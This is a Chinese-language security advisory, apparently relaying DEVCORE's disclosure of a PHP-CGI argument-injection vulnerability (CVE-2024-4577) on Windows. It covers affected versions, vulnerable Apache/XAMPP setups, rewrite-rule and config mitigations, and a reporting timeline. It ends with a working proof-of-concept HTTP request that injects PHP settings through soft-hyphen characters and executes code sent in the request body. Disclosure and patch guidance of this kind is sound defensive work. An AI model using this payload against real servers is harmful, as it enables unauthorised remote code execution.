戴夫寇尔研究团队在进行前瞻攻击研究期间,发现PHP语言存在远程代码执行漏洞,基于PHP 在网站生态使用的广泛性以及此漏洞之易重现性,研究团队将此漏洞标记为严重、并在第一时间回报给PHP 官方。官方已在2024/06/06 发布修复版本,详细时程可参阅漏洞回报时间轴

漏洞描述

PHP 语言在设计时忽略Windows 作业系统内部对字元编码转换的Best-Fit特性,导致未认证的攻击者可透过特定的字元序列绕过旧有CVE-2012-1823的保护;透过参数注入等攻击在远端PHP 服务器上执行任意代码。

影响范围

此漏洞影响安装于Windows 系统上所有的PHP 版本,详情可参照下表:

  • PHP 8.3 < 8.3.8

  • PHP 8.2 < 8.2.20

  • PHP 8.1 < 8.1.29

由于PHP 8.0 分支、PHP 7 以及PHP 5 官方已不再维护,网站管理员可参考如何确认自己易遭受攻击章节,并于修补建议找到暂时缓解措施。

如何确认自己易遭受攻击?

对于常见之Apache HTTP Server 加上PHP 组合,网站管理员可透过此文章列出之两个方式确认服务器是否易被攻击。其中,情境二也是XAMPP for Windows安装时的预设设定,因此所有版本的XAMPP for Windows 安装也预设受此漏洞影响。

在本文撰写当下已验证当Windows 作业系统执行于下列语系时,未授权的攻击者可直接在远端服务器上执行任意程式码:

  • 繁体中文(字码页950)

  • 简体中文(字码页936)

  • 日文(字码页932)

对于其它执行在英文、韩文、西欧语系之Windows 作业系统,由于PHP 使用情境广泛、暂无法完全列举并排除其利用情境,因此还是建议使用者全面盘点资产、确认使用情境并更新PHP 至最新版本确保万无一失!

情境一: 将PHP 设定于CGI 模式下执行

在Apache Httpd 设定档中透过Action语法将对应的HTTP 请求交给PHP-CGI 执行档处理时,受此漏洞影响,常见设定包含但不限于:

AddHandler cgi-script .php
Action cgi-script "/cgi-bin/php-cgi.exe"

<FilesMatch "\.php$">
    SetHandler application/x-httpd-php-cgi
</FilesMatch>

Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"

情境二: 将PHP 执行档暴露在外(XAMPP 默认安装)

即使未设定PHP 于CGI 模式下执行,仅将PHP 执行档暴露在CGI 目录下也受此漏洞影响,常见情况包含但不限于:

  1. php.exephp-cgi.exe复制到/cgi-bin/目录中

  2. 将PHP 安装目录透过ScriptAlias暴露到外,如: ScriptAlias /php-cgi/ "C:/xampp/php/"

修补建议

强烈建议所有使用者升级至PHP 官方最新版本8.3.88.2.208.1.29对于无法升级的系统可透过下列方式暂时缓解漏洞。

除此之外,由于PHP CGI 已是一种过时且易于出现问题的架构,也建议评估迁移至较为安全的Mod-PHP、FastCGI 或是PHP-FPM 等架构可能性。

1. 对无法更新PHP 的使用者

可透过下列Rewrite 规则阻挡攻击,请注意此份规则只作为繁体中文、简体中文及日文语系中的暂时性缓解机制,实务上仍建议更新到已修复版本或更改架构。

RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

2. 对XAMPP for Windows 使用者

在撰写本文的当下,XAMPP 尚未针对此漏洞释出相对应的更新安装档,如确认自身的XAMPP 并无使用到PHP CGI 之功能,可透过修改下列Apache Httpd 设定档以避免暴露在漏洞中:

C:/xampp/apache/conf/extra/httpd-xampp.conf

找到相对应的设定行数:

ScriptAlias /php-cgi/ "C:/xampp/php/"

并将其注解:

# ScriptAlias /php-cgi/ "C:/xampp/php/"

漏洞报告时间轴

  • 2024/05/07 – DEVCORE 透过PHP 官方漏洞通报页面回报此问题。

  • 2024/05/07 – PHP 开发者确认漏洞并强调要尽快修复。

  • 2024/05/16 – PHP 开发者释出第一版修复并寻求建议。

  • 2024/05/18 – PHP 开发者释出第二版修复并寻求建议。

  • 2024/05/20 – PHP 进入新版本发布准备。

  • 2024/06/06 – PHP 发布新版本8.3.88.2.208.1.29

poc

POST /test.hello?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1
HOST: x.x.x.x
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

参考资料

https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ucoderef/d1980631-6401-428e-a49d-d71394be7da8

https://www.kb.cert.org/vuls/id/520827
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/